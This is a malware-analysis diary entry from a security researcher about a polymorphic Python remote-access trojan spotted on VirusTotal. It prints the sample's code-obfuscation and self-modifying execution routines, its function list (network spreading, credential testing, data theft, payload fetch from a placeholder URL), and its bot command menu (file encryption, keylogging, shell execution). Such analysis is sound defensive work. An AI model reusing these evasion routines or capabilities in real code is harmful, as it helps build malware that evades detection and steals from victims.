Polymorphic Python Malware

    Published: 2025-10-08. Last Updated: 2025-10-08 07:43:19 UTC
    by Xavier Mertens (Version: 1)
    0 comment(s)

    Today, I spoted on VirusTotal an interesting Python RAT. They are tons of them but this one attracted my attention based on some function names present in the code: self_modifying_wrapper(), decrypt_and_execute() and polymorph_code(). A polymorphic malware is a type of malware that has been developed to repeatedly mutate its appearance or signature files at every execution time. The file got a very low score of 2/64 on VT! (SHA256:7173e20e7ec217f6a1591f1fc9be6d0a4496d78615cc5ccdf7b9a3a37e3ecc3c).

    To be able to modify its code on the fly, the program must have access to its own source code. Many languages have this capability. I covered the same technque in JavaScript a long time ago[1]. With Python, there is a very interesting module that can add the same capability: inspect[2].

    Here is a simple snippet of code to demonstrate how it works:

    remnux@remnux:~$ cat poc.py
    import inspect
    
    def dummy_function():
        print("I'm a dummy function!")
    
    def main():
        print("Function code:")
        print(inspect.getsource(dummy_function))
    
    if __name__ == "__main__":
        main()
    
    remnux@remnux:~$ python3 poc.py
    Function code:
    def dummy_function():
        print("I'm a dummy function!")

    Once you get the source code, you can perform plenty of actions like anti-tampering detection (was the code modified - to debug it) or obfuscate it.

    In the discovered sample, the self_modifying_wrapper() function will grab a function code, XOR it with a random key then un-XOR it and execute it from memory:

    # Self-modifying code wrapper (simulates packing)
    def self_modifying_wrapper():
        """Wrap critical code in a self-modifying layer."""
        log_path = resource_path('debug.log')
        try:
            # Simulate packed code by XORing critical sections
            critical_code = inspect.getsource(main).encode()
            xor_key = random.randint(1, 255)
            packed_code = bytes(b ^ xor_key for b in critical_code)
            # Unpack at runtime
            unpacked_code = bytes(b ^ xor_key for b in packed_code)
            code_obj = marshal.loads(zlib.decompress(unpacked_code))
            exec(code_obj)
            with open(log_path, "a") as f:
                f.write("[+] Self-modifying code executed\n")
            return True
        except Exception as e:
            with open(log_path, "a") as f:
                f.write(f"[-] Self-modifying code failed: {e}\n")
            return False
    

    The malware has also the capability to inject junk code:

    def polymorph_code(code):
        """Obfuscate code with advanced randomization and junk code."""
        log_path = resource_path('debug.log')
        try:
            # Advanced variable renaming
            var_map = {var: ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(8, 12))) for var in code.split() if var.isidentifier()}
            for old_var, new_var in var_map.items():
                code = code.replace(old_var, new_var)
            # Insert complex junk code
            junk_snippets = [
                "def _unused_{}(): return None\n".format(''.join(random.choice(string.ascii_letters) for _ in range(8))),
                "x = [0] * {}; x = [y for y in x]\n".format(random.randint(10, 100)),
                "import time; time.sleep({})\n".format(random.uniform(0.01, 0.1)),
                "try: pass\nexcept: pass\n"
            ]
            lines = code.split('\n')
            for _ in range(random.randint(10, 20)):
                lines.insert(random.randint(0, len(lines)), random.choice(junk_snippets))
            code = '\n'.join(lines)
            # Shuffle function order
            code = code.replace('\r\n', '\n')  # Normalize line endings
            functions = re.findall(r'(def .+?\n\s*return .+?\n)', code, re.DOTALL)
            if functions:
                random.shuffle(functions)
                code = code.replace(''.join(functions), ''.join(functions))
            with open(log_path, "a") as f:
                f.write("[+] Advanced polymorphic transformation applied\n")
            return code
        except Exception as e:
            with open(log_path, "a") as f:
                f.write(f"[-] Polymorphic transformation failed: {e}\n")
            return code
            
    It's easy to get a nice overview of the RAT capabilities:

    Besides this specificity, the malware is a classic one and offers plenty of features to the Attacker. Here is a list of interesting functions that give a good overview of the capabilities:

    remnux@remnux:~$ grep "async def" 7173e20e7ec217f6a1591f1fc9be6d0a4496d78615cc5ccdf7b9a3a37e3ecc3c
    async def socket_network_scan():
    async def scan_host(ip):
    async def try_router_hack(ip):
    async def test_default_credentials(ip, service, port):
    async def deliver_payload(ip, share=None, service=None, port=None):
    async def execute_payload(ip, target_path, service):
    async def get_phone_number(stolen_data):
    async def send_stolen_data(stolen_data, channel, logins_path):
    async def spread_to_network():
    async def report_spreading_status(ip, message):
    async def xworm(ctx, spread_url="https://example.com/serial_spoofer.exe"):
    async def record_screen_webcam(voice_channel, ctx):
    async def on_ready():
    async def commands(ctx):
    async def encrypt(ctx):
    async def mine(ctx):
    async def screenshot(ctx):
    async def audio(ctx):
    async def listen(ctx):
    async def execute(ctx, *, command):
    async def upload(ctx):
    async def download(ctx, *, filename):
    async def xworm(ctx):
    async def archive(ctx):
    async def system_info(ctx):
    async def run(ctx, *, program):
    

    In the same way, here is the list of bot commands:

    # Bot command: Show available commands
    @bot.command()
    async def commands(ctx):
        log_path = resource_path('debug.log')
        with open(log_path, "a") as f:
            f.write("[+] Sending command list\n")
        commands_list = """
        /commands - Show this help message
        /encrypt - Encrypt victim's files
        /mine - Start cryptominer (simulated)
        /screenshot - Capture screenshot
        /audio - Capture audio
        /listen - Record screen for 30 seconds, stream high-quality live audio to voice channel
        /execute <command> - Run shell command
        /upload - Upload attached file to victim's PC
        /download <filename> - Search and send file from victim's PC
        /xworm - Deploy Xworm payload
        /archive - Archive critical files
        /keylog_start - Start keylogger
        /keylog_stop - Stop keylogger and send log
        /system_info - Get system information
        /run <program> - Run a program
        """
        await ctx.send(commands_list)

    The file was uploaded on VT as "nirorat.py". I did not find any reference to this RAT. If you have more details, let us know!

    [1] https://isc.sans.edu/diary/AntiDebugging+JavaScript+Techniques/26228
    [2] https://docs.python.org/3/library/inspect.html
     

    Xavier Mertens (@xme)
    Xameco
    Senior ISC Handler - Freelance Cyber Security Consultant
    PGP Key

    0 comment(s)
    ISC Stormcast For Wednesday, October 8th, 2025 https://isc.sans.edu/podcastdetail/9646

      Comments


      Diary Archives